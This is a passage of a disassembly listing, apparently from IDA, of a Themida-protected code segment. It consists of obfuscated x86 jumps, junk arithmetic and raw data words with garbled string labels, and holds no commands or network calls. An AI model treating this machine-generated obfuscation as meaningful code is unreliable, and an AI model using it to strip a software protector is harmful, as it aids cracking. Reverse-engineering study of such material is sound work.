[esp], ecx push 24h pop ecx jmp loc_59DB2F ; --------------------------------------------------------------------------- dw 0CA81h dd 56720182h, 0AD5B951h, 0CA214350h, 0FFC28359h, 7EA2E9h db 0 ; --------------------------------------------------------------------------- loc_59FFDD: ; CODE XREF: Themida_:0059CB47j pop esp mov [esp], ecx jmp loc_59FF4C ; --------------------------------------------------------------------------- dw 9791h dd 1F25E9h, 9CF28100h, 0F7F2C0Ah, 0FF9D6B83h, 40EA81FFh dd 0F7B9B10Ch, 294BE9D2h, 2EB10000h ; --------------------------------------------------------------------------- loc_5A0008: ; CODE XREF: Themida_:0059C2C6j add eax, edi jmp loc_5AD5C5 ; --------------------------------------------------------------------------- loc_5A000F: ; CODE XREF: Themida_:005AB116j sub edx, 4F197A6Ah push 4929h mov [esp], edi jmp loc_59FD95 ; --------------------------------------------------------------------------- loc_5A0022: ; CODE XREF: Themida_:005AEFA2j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_59DA5E ; --------------------------------------------------------------------------- loc_5A0033: ; CODE XREF: Themida_:0059ADCAj ; Themida_:005A935Ej add edi, 0C88CF584h xor esi, edi push dword ptr [esp] jmp loc_59F130 ; --------------------------------------------------------------------------- db 5 aUaegrAus db '·AEGR╨^',27h,'<AUИ╦э',0 align 4 dword_5A0054 dd 4072CACh, 2CD82836h, 12806836h, 0C890000h, 0F635B524h ; DATA XREF: Themida_:005986C8o dd 4EC83DDh, 0FCCCE9h, 0B2F18100h, 8B200027h, 0C4832404h dd 33B95104h, 569DE10h, 0DC22F1h, 0E951C801h, 4D62h ; --------------------------------------------------------------------------- loc_5A0090: ; CODE XREF: Themida_:005A7B89j mov esp, [esp] bt [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- dw 5F54h dd 4C781h, 0B7E90000h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A00AB: ; CODE XREF: Themida_:005AEFB3j mov eax, 2D0675CDh shl eax, 8 sub eax, 733E7ECBh neg eax jmp loc_59AC6E ; --------------------------------------------------------------------------- loc_5A00BF: ; CODE XREF: Themida_:005A1DADj mov edi, 62853474h shl edi, 3 jz loc_5A9BE0 add edi, 46EF22A9h and edi, 4C874AFAh jnz loc_5A088D or edi, 183F156Dh jmp loc_59B929 ; --------------------------------------------------------------------------- dw 0C1C6h dd 0C3890FD8h, 0C100001Dh, 840F08E2h, 73E7h, 0EE5AC281h dd 0EC8143BAh, 4, 89243489h, 5EF189D6h, 0CCD0E9h db 0 ; --------------------------------------------------------------------------- loc_5A0115: ; CODE XREF: Themida_:005A9B92j pop edx push edx sub esp, 4 mov [esp], ebp push ecx mov ecx, 0F9A753Fh push 0 sub [esp], ecx pop ecx jmp loc_5A9D92 ; --------------------------------------------------------------------------- db 41h, 0F7h, 0D9h aRsfk db 'RИfk',0 align 2 loc_5A013A: ; CODE XREF: Themida_:005A953Bj pop edi mov eax, esi jmp loc_59ABC4 ; --------------------------------------------------------------------------- loc_5A0142: ; CODE XREF: Themida_:005A6648j shr edi, 2 sub edi, offset dword_4D1010 sub edx, 7ECB0B4Fh add edx, edi jmp loc_59CF56 ; --------------------------------------------------------------------------- aN6SN db '╦█6,~Ирn',0 align 2 loc_5A0162: ; CODE XREF: Themida_:0059B823j mov ebp, 40D9A313h sub ebp, edx jmp loc_5A49A2 ; --------------------------------------------------------------------------- loc_5A016E: ; CODE XREF: Themida_:005A4201j pop edx sub eax, 77534501h push edi push edx mov edx, 5A2A08D0h jmp loc_5AFAED ; --------------------------------------------------------------------------- loc_5A0180: ; CODE XREF: Themida_:005A42D7j jmp loc_5A8CEF ; --------------------------------------------------------------------------- loc_5A0185: ; CODE XREF: Themida_:00598BD4j push esp pop ebp jmp loc_5A4422 ; --------------------------------------------------------------------------- loc_5A018C: ; CODE XREF: Themida_:0059A23Bj pop esp mov [esp], edi mov edi, 4 sub esi, 5EC61C0Bh add esi, edi push ecx mov ecx, 5EC61C0Bh add esi, ecx pop ecx jmp loc_59FC0A ; --------------------------------------------------------------------------- loc_5A01AB: ; CODE XREF: Themida_:005AE84Cj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A01B0: ; CODE XREF: Themida_:005A5ABAj or eax, 1B43398Eh jnz loc_5AF77F add eax, 5F1C159Eh mov ebx, eax mov eax, [esp] add esp, 4 mov esi, ebx pop ebx sub esi, 416203D1h jmp loc_5A99F7 ; --------------------------------------------------------------------------- dw 5257h dd 6B3AF468h, 13E95A46h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A01E3: ; CODE XREF: Themida_:005A4A39j pop ecx jmp loc_5AA726 ; --------------------------------------------------------------------------- loc_5A01E9: ; CODE XREF: Themida_:005A8F5Ej jmp loc_5AF88C ; --------------------------------------------------------------------------- loc_5A01EE: ; CODE XREF: Themida_:005A80DAj add esp, 4 not dl jmp loc_5A190A ; --------------------------------------------------------------------------- loc_5A01FB: ; CODE XREF: Themida_:0059E6A4j pop ecx inc esi jmp loc_59E3E9 ; --------------------------------------------------------------------------- loc_5A0202: ; CODE XREF: Themida_:loc_5A7BE8j shr edx, 1 jnz loc_5A8442 xor edx, 77D28D37h push esi mov esi, edx pop ebx loc_5A0214: ; CODE XREF: Themida_:005AD32Fj push ecx jmp loc_59F3C9 ; --------------------------------------------------------------------------- loc_5A021A: ; CODE XREF: Themida_:005AB019j sub esp, 4 jmp loc_5A08EC ; --------------------------------------------------------------------------- loc_5A0225: ; CODE XREF: Themida_:0059FFADj mov esi, 20322B47h xor esi, 6D77334Fh sub esi, 0FFFFFFFFh push eax mov eax, 66BB6F73h jmp loc_5AE5E5 ; --------------------------------------------------------------------------- loc_5A023E: ; CODE XREF: Themida_:005A362Cj add esp, 4 add al, 6Ch shr al, 3 push edx push 49C3h mov [esp], ecx mov ch, 0BDh jmp loc_5A52A6 ; --------------------------------------------------------------------------- loc_5A0256: ; CODE XREF: Themida_:0059939Cj mov ecx, [esp] add esp, 4 push esi mov esi, 66E9781Ah not esi shl esi, 6 sub esp, 4 jmp loc_5A7764 ; --------------------------------------------------------------------------- loc_5A0272: ; CODE XREF: Themida_:0059A35Dj ; Themida_:005A8CA4j mov ecx, [esp] add esp, 4 xor bl, al movzx eax, al jmp loc_59E937 ; --------------------------------------------------------------------------- loc_5A0282: ; CODE XREF: Themida_:005A34E4j sub cl, ah pop eax jmp loc_5A3A40 ; --------------------------------------------------------------------------- loc_5A028A: ; CODE XREF: Themida_:005AB303j mov ecx, 56D75E8Ah add ecx, 6BFA56A5h jl loc_59D022 sub ecx, 2D0362C7h xor ecx, 0FF521F9Eh mov edx, ecx pop ecx jmp loc_5A51EE ; --------------------------------------------------------------------------- loc_5A02AF: ; CODE XREF: Themida_:0059A4EEj xor esi, [esp] mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A02BA: ; CODE XREF: Themida_:005A5778j sub ecx, 2F853A2Eh sub ecx, 3FD04367h neg ecx sub ecx, 58426749h mov ebx, ecx pop ecx sub ebx, 0FFFFFFFFh push ebp mov ebp, 48051560h jmp loc_5A09E6 ; --------------------------------------------------------------------------- loc_5A02E2: ; CODE XREF: Themida_:0059D1D8j push eax push dword ptr [esp+4] pop eax jmp loc_599C92 ; --------------------------------------------------------------------------- loc_5A02ED: ; CODE XREF: Themida_:005A75B3j add eax, 4 add eax, 4 xchg eax, [esp] pop esp add edi, esi pop esi xor eax, edi jmp loc_5A2AF2 ; --------------------------------------------------------------------------- db 5Bh dd 201668h, 240C8900h, 0BBE8E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0312: ; CODE XREF: Themida_:005A964Cj sub esp, 4 mov [esp], edi push 1764h mov [esp], eax mov eax, 7D1C29AFh inc eax shr eax, 4 and eax, 2AC05EFh xor eax, 12C672BCh mov edi, eax pop eax sub edx, edi pop edi xor edx, 0F18395A1h jmp loc_5A6F87 ; --------------------------------------------------------------------------- loc_5A0344: ; CODE XREF: Themida_:00599BECj push ebp mov ebp, esp add ebp, 4 jmp loc_59B7B3 ; --------------------------------------------------------------------------- dw 2BEh dd 1000000h, 0C335EF1h, 240C3124h, 8B240C33h, 88642424h dd 8635E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A036E: ; CODE XREF: Themida_:005A96C1j mov eax, ebp mov ebp, [esp] add esp, 4 neg eax jg loc_59E215 xor eax, 77D5A16h push eax jmp loc_5A238C ; --------------------------------------------------------------------------- loc_5A0389: ; CODE XREF: Themida_:005AE281j push ebp mov ebp, 2 jmp loc_5A570D ; --------------------------------------------------------------------------- loc_5A0394: ; CODE XREF: Themida_:005A36EDj push dword ptr [esp] jmp loc_599F3D ; --------------------------------------------------------------------------- dd 0F72F3DBDh, 2C58136h, 0F77B8A69h, 39F581DDh, 8969405Ah dd 242C8BEFh, 4C481h, 0FCB90000h, 31243E3Dh, 243C8BF9h dd 0C40FE9h, 24042900h, 85D1E99Ch, 74FFFFFFh, 8F5F0424h dd 815C2404h, 4ECh, 24248900h, 0A6D3E9h db 0 ; --------------------------------------------------------------------------- loc_5A03E9: ; CODE XREF: Themida_:005A18CAj add esi, 4 push ebp mov ebp, 4 sub esi, ebp pop ebp push 2A7Ch mov [esp], esi push dword ptr [esp+4] jmp loc_5A417E ; --------------------------------------------------------------------------- db 0Fh, 84h, 1Ah dd 520000C1h, 0FFD8EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A0415: ; CODE XREF: Themida_:005A285Ej ; Themida_:005A7DABj add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_5AF972 ; --------------------------------------------------------------------------- loc_5A0426: ; CODE XREF: Themida_:005994E2j push esi push eax mov eax, 243E6CE9h jmp loc_59B8FD ; --------------------------------------------------------------------------- loc_5A0432: ; CODE XREF: Themida_:005A1963j mov dl, ch jmp loc_5A2A2C ; --------------------------------------------------------------------------- loc_5A0439: ; CODE XREF: Themida_:005A6EF6j mov [esp], eax push 5997h mov [esp], edi jmp loc_5ADBBD ; --------------------------------------------------------------------------- loc_5A0449: ; CODE XREF: Themida_:0059D488j sub esp, 4 mov [esp], eax push 0F66F35h jmp loc_5AE7E9 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 815A5452h, 4C2h, 4C28100h, 87000000h, 9CE92414h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0473: ; CODE XREF: Themida_:005AD2F5j push 104Ch jmp loc_59ACE0 ; --------------------------------------------------------------------------- loc_5A047D: ; CODE XREF: Themida_:005AD79Bj add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx jmp loc_5A6912 ; --------------------------------------------------------------------------- aZSmk db '[┤<$И▄╙',0 dw 8900h dd 0E189240Ch, 2254BF57h, 0EE687136h, 8900000Ah, 50B82404h dd 81713622h, 3874E2C7h, 0E9C72971h, 0FFFFB81Bh, 231D31BDh dd 7CE94519h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A04D3: ; CODE XREF: Themida_:005997CAj pop ebx add ebp, 4 xchg ebp, [esp] mov esp, [esp] xchg eax, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A04EC: ; CODE XREF: Themida_:0059CF71j not edi neg edi add edi, 401810B1h push edx mov edx, edi jmp loc_59CD58 ; --------------------------------------------------------------------------- loc_5A04FE: ; CODE XREF: Themida_:005AF09Cj add esi, 0AC81384h add edx, esi mov esi, [esp] add esp, 4 jmp loc_5AE3F1 ; --------------------------------------------------------------------------- db 56h, 0BEh, 61h dd 6824D65Ah, 24D65A65h, 8BF5315Dh, 0C4832434h, 8E4FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A052A: ; CODE XREF: Themida_:005AC6ECj dec ebx xor ebx, 13FD51D0h sub ebp, 5427228Fh add ebp, ebx add ebp, 5427228Fh pop ebx jmp loc_5AB8E4 ; --------------------------------------------------------------------------- loc_5A0545: ; CODE XREF: Themida_:005AF5D2j sub edi, 0C4CB504Fh or ebx, edi pop edi shl ebx, 8 xor ebx, 61CD6CC5h xor ebx, 2DE4437Ah add ebx, 3B9A37EFh add ecx, ebx pop ebx jmp loc_5A79C7 ; --------------------------------------------------------------------------- loc_5A056B: ; CODE XREF: Themida_:005A2D1Bj mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp sub ebx, 2EE0603h sub ebx, eax jmp loc_5AF360 ; --------------------------------------------------------------------------- loc_5A0585: ; CODE XREF: Themida_:005A986Aj xor edi, [esp] mov esp, [esp] add esp, 4 imul ecx push 8Dh mov [esp], esi push 30AAh mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edx push ebp mov ebp, esp jmp loc_5AD1E6 ; --------------------------------------------------------------------------- loc_5A05C1: ; CODE XREF: Themida_:005A990Ej push eax mov eax, 2B2A418Fh or eax, 29DD74C2h xchg eax, ecx jmp loc_5AF1C6 ; --------------------------------------------------------------------------- dw 4D68h dd 89000032h, 5BE9240Ch db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A05DF: ; CODE XREF: Themida_:005A23A0j ; Themida_:005AD0BCj pop ebx jmp loc_59B3A0 ; --------------------------------------------------------------------------- loc_5A05E5: ; CODE XREF: Themida_:005A5CBDj mov esp, [esp] mov [esp], ecx push ebx mov bl, 30h mov ch, bl pop ebx shl ch, 2 shr ch, 5 push ebx jmp loc_5AC905 ; --------------------------------------------------------------------------- loc_5A05FD: ; CODE XREF: Themida_:005AEFD9j mov [esp], eax mov eax, 6CF4209Eh xchg eax, ecx jmp loc_5AB1B3 ; --------------------------------------------------------------------------- loc_5A060B: ; CODE XREF: Themida_:005AB208j push dword ptr [esp] pop edx add esp, 4 pop eax inc eax xor edx, eax xor eax, edx xor edx, eax add edx, 0C9C803CCh jmp loc_5A3654 ; --------------------------------------------------------------------------- loc_5A0625: ; CODE XREF: Themida_:005A485Ej add ebp, 6B612842h sub ebp, 13182F84h pop ecx add ebp, 4 jmp loc_59EF75 ; --------------------------------------------------------------------------- loc_5A063D: ; CODE XREF: Themida_:0059F1A0j sub bh, dh pop edx pop cx or bh, 0ABh xor bh, 0D8h xor bh, 0FDh jmp loc_59F9C3 ; --------------------------------------------------------------------------- loc_5A0650: ; CODE XREF: Themida_:loc_59EFDBj jmp loc_5A4450 ; --------------------------------------------------------------------------- db 0E9h, 0A4h, 35h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A065A: ; CODE XREF: Themida_:005A2530j neg ebp jmp loc_5A51EE ; --------------------------------------------------------------------------- loc_5A0661: ; CODE XREF: Themida_:005A991Cj push edi mov edi, 0FFFFFFFFh add edx, edi pop edi not edx jmp loc_5A76FF ; --------------------------------------------------------------------------- db 29h, 0C8h, 52h dd 943BD8BAh, 2EAC148h, 74F2814Ah, 2906456Eh, 6DFEE9D0h dd 86250000h, 0F67D23Ah, 8DAB8Bh, 0E8D52D00h, 0C689F33Dh dd 5EF08958h, 0FFC444E9h, 0FFD801FFh, 0E95B2434h, 0E012h ; --------------------------------------------------------------------------- loc_5A06B0: ; CODE XREF: Themida_:005AD98Ej add edx, 0C92032E3h jmp loc_5A599F ; --------------------------------------------------------------------------- loc_5A06BB: ; CODE XREF: Themida_:005AEC60j add eax, 16200E4Eh sub eax, 2CC42468h sub eax, 2E434759h add eax, 45A74AF1h push edi jmp loc_5A0F50 ; --------------------------------------------------------------------------- loc_5A06D5: ; CODE XREF: Themida_:005AA0D3j add esp, 4 add esp, 4 add ebx, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] pop esp xor ebx, eax mov dx, [esp] push edx push esp mov edx, [esp] add esp, 4 push 3668h mov [esp], edi push edx mov edx, esp push esi mov esi, 4 jmp loc_5A7D4B ; --------------------------------------------------------------------------- loc_5A0718: ; CODE XREF: Themida_:0059A9E7j add esi, 603B7E05h push dword ptr [esp] jmp loc_5A2DDB ; --------------------------------------------------------------------------- loc_5A0726: ; CODE XREF: Themida_:0059C98Cj push 0E95h mov [esp], eax jmp loc_5ABCE8 ; --------------------------------------------------------------------------- loc_5A0733: ; CODE XREF: Themida_:005A917Aj mov edi, [esp] push edi jmp loc_5A4E9E ; --------------------------------------------------------------------------- dd 0DC2C581h, 0EEE9689Bh db 0F2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0747: ; CODE XREF: Themida_:005A900Cj xchg ebx, [esp] pop esp push eax push dword ptr [esp+4] pop eax jmp loc_5A7DB6 ; --------------------------------------------------------------------------- loc_5A0756: ; CODE XREF: Themida_:0059DDD9j jmp loc_5A5415 ; --------------------------------------------------------------------------- loc_5A075B: ; CODE XREF: Themida_:005ADD3Bj xchg edi, [esp] jmp loc_59B1E3 ; --------------------------------------------------------------------------- db 68h dd 64F805A4h, 0FF9D1EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A076D: ; CODE XREF: Themida_:005AD3B0j inc ebx jmp loc_5AD241 ; --------------------------------------------------------------------------- loc_5A0773: ; CODE XREF: Themida_:0059D796j push 372Ch mov [esp], ecx push 5574h jmp loc_5ABA38 ; --------------------------------------------------------------------------- loc_5A0785: ; CODE XREF: Themida_:005AEE95j add ebx, 3A5F3C71h shl ebx, 2 push esi push 592Fh jmp loc_5A7568 ; --------------------------------------------------------------------------- db 0Fh, 85h, 52h dd 0E9000057h, 0E669h, 5AD70158h, 242C3352h, 33242C31h dd 895C242Ch, 32E9243Ch db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A07BB: ; CODE XREF: Themida_:0059AFDAj sub ecx, edi pop edi push ecx push dword ptr [esp+4] jmp loc_59A22F ; --------------------------------------------------------------------------- loc_5A07C8: ; CODE XREF: Themida_:005A7FDBj sub esp, 4 mov [esp], edi mov edi, 4C555CA5h shr edi, 6 push edx jmp loc_5ADBE2 ; --------------------------------------------------------------------------- loc_5A07DF: ; CODE XREF: Themida_:005A465Bj push eax mov eax, 0F88705Bh sub ebp, eax pop eax push ecx jmp loc_5AAC99 ; --------------------------------------------------------------------------- loc_5A07EE: ; CODE XREF: Themida_:005AA7DAj ; Themida_:005AC61Dj mov ecx, [esp] add esp, 4 pop ebx pop ecx push 1BB7h jmp loc_5AC231 ; --------------------------------------------------------------------------- loc_5A0800: ; CODE XREF: Themida_:0059B4B3j push edi push esp jmp loc_5AA423 ; --------------------------------------------------------------------------- loc_5A0807: ; CODE XREF: Themida_:005A91E3j pop dword ptr [esp] pop esp mov ebx, [esp] add esp, 4 pop edx push eax mov eax, 38h jmp loc_5A7E90 ; --------------------------------------------------------------------------- dword_5A0820 dd 9D1C77FFh, 4185866h, 74E99C24h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A082F: ; CODE XREF: Themida_:005AC48Dj push dx not byte ptr [esp+1] jmp loc_59D011 ; --------------------------------------------------------------------------- loc_5A083A: ; CODE XREF: Themida_:0059DA79j push 31E31381h jmp loc_5A56F3 ; --------------------------------------------------------------------------- loc_5A0844: ; CODE XREF: Themida_:005AE12Dj and ecx, edx push dword ptr [esp] pop edx push 4B89h mov [esp], ebx mov ebx, esp sub esp, 4 jmp loc_59BE96 ; --------------------------------------------------------------------------- dword_5A085C dd 240C8B66h, 15ECE9h db 0 ; --------------------------------------------------------------------------- loc_5A0865: ; CODE XREF: Themida_:0059F051j xchg esi, ecx jmp loc_59D20F ; --------------------------------------------------------------------------- loc_5A086C: ; CODE XREF: Themida_:005A39D1j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub [edi+24h], eax push dword ptr [esp] jmp loc_59DEC1 ; --------------------------------------------------------------------------- db 5Fh dd 0FF8116E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A088D: ; CODE XREF: Themida_:005A00D9j or edi, 183F156Dh jmp loc_59A356 ; --------------------------------------------------------------------------- loc_5A0898: ; CODE XREF: Themida_:005A275Cj add eax, 0FF78A7CCh push ebp mov ebp, 51D4069Dh jmp loc_5AB3CF ; --------------------------------------------------------------------------- loc_5A08A8: ; CODE XREF: Themida_:005A7163j jmp loc_598D9C ; --------------------------------------------------------------------------- db 0E9h, 0Fh, 0AAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A08B2: ; CODE XREF: Themida_:005AB388j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push 0ECDh mov [esp], edx mov edx, esp add edx, 4 jmp loc_5A9172 ; --------------------------------------------------------------------------- loc_5A08D2: ; CODE XREF: Themida_:0059F96Bj mov dh, al jmp loc_59BC70 ; --------------------------------------------------------------------------- loc_5A08D9: ; CODE XREF: Themida_:005A444Bj pop esp push edx push esp pop edx push edi push esi mov esi, 42432C49h mov edi, esi pop esi jmp loc_5A671B ; --------------------------------------------------------------------------- loc_5A08EC: ; CODE XREF: Themida_:005A0220j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] push ecx mov ecx, esp jmp loc_5A5578 ; --------------------------------------------------------------------------- loc_5A08FE: ; CODE XREF: Themida_:005AE9E7j pop ebx jmp loc_5AB229 ; --------------------------------------------------------------------------- loc_5A0904: ; CODE XREF: Themida_:005AE069j add bl, 4Ch pop eax jmp loc_5AE19A ; --------------------------------------------------------------------------- loc_5A090D: ; CODE XREF: Themida_:0059FB52j ; Themida_:005A45E2j ... mov eax, ecx push dword ptr [esp] pop ecx push 235Bh mov [esp], ebp mov ebp, esp push esi jmp loc_59A639 ; --------------------------------------------------------------------------- loc_5A0923: ; CODE XREF: Themida_:0059DD9Bj mov ecx, eax pop eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_5A54BF ; --------------------------------------------------------------------------- loc_5A093A: ; CODE XREF: Themida_:005995C3j pop ecx sub edx, 298680Ch sub ebx, 28F2736Dh add ebx, edx push edx jmp loc_5A34FE ; --------------------------------------------------------------------------- loc_5A094F: ; CODE XREF: Themida_:0059BB5Fj push ebx mov ebx, 0F0C2B5Fh shl ebx, 4 add ebx, 3B5064E1h push edi mov edi, 5DD53BE8h not edi dec edi shl edi, 5 shr edi, 8 jmp loc_5AABF8 ; --------------------------------------------------------------------------- loc_5A0972: ; CODE XREF: Themida_:005AF418j add dword ptr [esp], 4 pop ecx jmp loc_5AA009 ; --------------------------------------------------------------------------- loc_5A097C: ; CODE XREF: Themida_:005AF1E1j push 2BD4h mov [esp], eax mov eax, 45D5E00Eh jmp loc_59D1DD ; --------------------------------------------------------------------------- dw 1489h dd 0C7FDE924h, 0F281FFFFh, 6FFC7C6Bh, 0E3EC840Fh, 0EA81FFFFh dd 95E5EB90h, 188DE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A09AE: ; CODE XREF: Themida_:0059FCD0j neg eax add eax, 43470E31h sub eax, 6230040Ah jmp loc_59C1F6 ; --------------------------------------------------------------------------- loc_5A09BF: ; CODE XREF: Themida_:0059DE07j ; DATA XREF: Themida_:005987E0o neg word ptr [esp] pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A09C9: ; CODE XREF: Themida_:005A8384j mov ecx, 3320101Ch sub edx, ecx jmp loc_5AE380 ; --------------------------------------------------------------------------- loc_5A09D5: ; CODE XREF: Themida_:00599E0Fj xor dh, 0EBh xor al, dh pop edx push edx mov dh, 2Bh sub al, dh pop edx jmp loc_5A7258 ; --------------------------------------------------------------------------- loc_5A09E6: ; CODE XREF: Themida_:005A02DDj and ebx, ebp pop ebp shr ebx, 6 xchg edx, ebx not edx xchg edx, ebx push ebp jmp loc_59E946 ; --------------------------------------------------------------------------- dd 795FBF57h, 0E7C10218h, 81DFF707h, 800702F7h, 3EA81B9h dd 2977A936h, 3C281FAh, 0E977A936h, 39BFh ; --------------------------------------------------------------------------- loc_5A0A1C: ; CODE XREF: Themida_:0059D53Dj add bl, dh jmp loc_5A9AC2 ; --------------------------------------------------------------------------- byte_5A0A23 db 66h ; DATA XREF: Themida_:005987D8o dd 68240C8Bh, 7D6Dh, 68242C89h, 3795h, 54241489h, 4C2815Ah dd 51000000h, 0D86C9EB9h, 8E1C148h, 5B72E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0A4E: ; CODE XREF: Themida_:005AE3CFj sub eax, 3D62375Dh jmp loc_5A1BCC ; --------------------------------------------------------------------------- loc_5A0A58: ; CODE XREF: Themida_:0059B3EFj mov edi, 33737BC1h inc edi jns loc_5AE30B jmp loc_5A42F3 ; --------------------------------------------------------------------------- db 5Bh, 58h, 59h dd 0CD58890Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0A72: ; CODE XREF: Themida_:005A93D3j jmp loc_59BB5C ; --------------------------------------------------------------------------- loc_5A0A77: ; CODE XREF: Themida_:0059E189j sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_59F0D0 ; --------------------------------------------------------------------------- loc_5A0A88: ; CODE XREF: Themida_:005AD73Cj sub dword ptr [esp+4], 36B6653h add [esp+4], eax jmp loc_5A5598 ; --------------------------------------------------------------------------- loc_5A0A99: ; CODE XREF: Themida_:005A8ADBj add edx, 7E91757h push 2ABFh mov [esp], eax mov eax, 5A960056h push 72AAh mov [esp], ecx mov ecx, 618E65A0h or eax, ecx pop ecx xor eax, 0FB857A2Bh xor edx, eax mov eax, [esp] add esp, 4 jmp loc_59960E ; --------------------------------------------------------------------------- loc_5A0AD1: ; CODE XREF: Themida_:0059DFEEj add esp, 4 add esi, 7C50B5Dh sub esi, 0D68F8346h sub ebx, esi pop esi add ebx, 5FC70574h jmp loc_599887 ; --------------------------------------------------------------------------- dw 23BBh dd 5661BA4Bh, 0BA4B1FBEh, 5EF32961h, 815BD901h, 4E9h, 240C8700h dd 0FFBDDAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A0B0D: ; CODE XREF: Themida_:0059BD9Cj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5A2357 ; --------------------------------------------------------------------------- loc_5A0B1B: ; CODE XREF: Themida_:005AB7CAj sub ch, bh pop ebx jmp loc_5A8C9B ; --------------------------------------------------------------------------- loc_5A0B23: ; CODE XREF: Themida_:0059C09Dj push ebp mov ebp, 437E1704h xor ecx, ebp pop ebp add ebp, 13182F84h sub ebp, 6B612842h jmp loc_5AC175 ; --------------------------------------------------------------------------- loc_5A0B3D: ; CODE XREF: Themida_:0059F3CBj add al, ch pop ecx mov ecx, [esp] add esp, 4 push cx sub esp, 4 mov [esp], ebx mov bl, 0BAh xor bl, 1Ch jnz loc_5A5A45 jmp loc_5AADAC ; --------------------------------------------------------------------------- db 0C1h, 0EFh, 7 dd 5DCCC7C6h, 2C75F381h, 32E93E73h, 81FFFFFBh, 4C4h, 45826800h dd 0C890000h, 2C1DB924h, 0C181371Ch, 55B62EEEh, 981EE949h dd 0EE810000h, 0E2882870h, 815EF221h, 47383CEAh, 5AD60101h dd 8FBB5352h, 89184A49h, 0F08BE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0BB2: ; CODE XREF: Themida_:0059C92Bj xor ch, bl xor bl, ch xor ch, bl push dx mov dl, bl not dl mov bl, dl pop dx push ax jmp loc_5A2BA5 ; --------------------------------------------------------------------------- loc_5A0BC9: ; CODE XREF: Themida_:005A487Aj add ecx, ebx pop ebx sub ecx, edx sub ecx, 3D5832ABh pop edx xor ecx, 4E3C58F0h and eax, ecx pop ecx or eax, eax jz loc_5ABBC2 push dword ptr [edi+1Ch] push eax mov eax, 755A0996h xor [esp+4], eax mov eax, [esp] add esp, 4 pop ecx jmp loc_5AA3F5 ; --------------------------------------------------------------------------- loc_5A0C02: ; CODE XREF: Themida_:005AD266j pop dword ptr [esp] mov esp, [esp] mov [esp], ebx jmp loc_5A8698 ; --------------------------------------------------------------------------- loc_5A0C10: ; CODE XREF: Themida_:0059A881j mov ebp, esp add ebp, 4 jmp loc_5ABEA5 ; --------------------------------------------------------------------------- loc_5A0C1D: ; CODE XREF: Themida_:005A722Dj xchg ebp, [esp] jmp loc_59E4C4 ; --------------------------------------------------------------------------- loc_5A0C25: ; CODE XREF: Themida_:005A9BCBj xor eax, ebp pop ebp add eax, 3F9F5F1Ah jmp loc_59F81B ; --------------------------------------------------------------------------- loc_5A0C32: ; CODE XREF: Themida_:005AF4CEj push 0DFh mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx sub ebx, 4 jmp loc_5A1061 ; --------------------------------------------------------------------------- loc_5A0C4D: ; CODE XREF: Themida_:005A4504j mov ebp, edi push ebp pop edx pop ebp pop edi and eax, edx jmp loc_5AB0EA ; --------------------------------------------------------------------------- loc_5A0C5A: ; CODE XREF: Themida_:0059EDF8j shr ch, 5 sub ch, 1 sub ch, 96h sub bl, 0AAh jmp loc_598E77 ; --------------------------------------------------------------------------- loc_5A0C6B: ; CODE XREF: Themida_:005A5E08j sub edx, 5672391Eh mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5A2F07 ; --------------------------------------------------------------------------- loc_5A0C82: ; CODE XREF: Themida_:005A90A1j mov ebp, 72B52671h sub ecx, ebp pop ebp jmp loc_5997DB ; --------------------------------------------------------------------------- loc_5A0C8F: ; CODE XREF: Themida_:00598EB8j push 6C4Fh mov [esp], esp push eax mov eax, 4 add dword ptr [esp+4], 261F0D66h add [esp+4], eax sub dword ptr [esp+4], 261F0D66h pop eax jmp loc_5A1415 ; --------------------------------------------------------------------------- db 0Fh dd 0FF987F8Ch, 0D80E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0CC2: ; CODE XREF: Themida_:005A72D2j push esi mov esi, esp jmp loc_5AB0D2 ; --------------------------------------------------------------------------- dw 8952h dd 4C281E2h, 83000000h, 1BE904EAh db 7Ah, 2 dup(0) ; 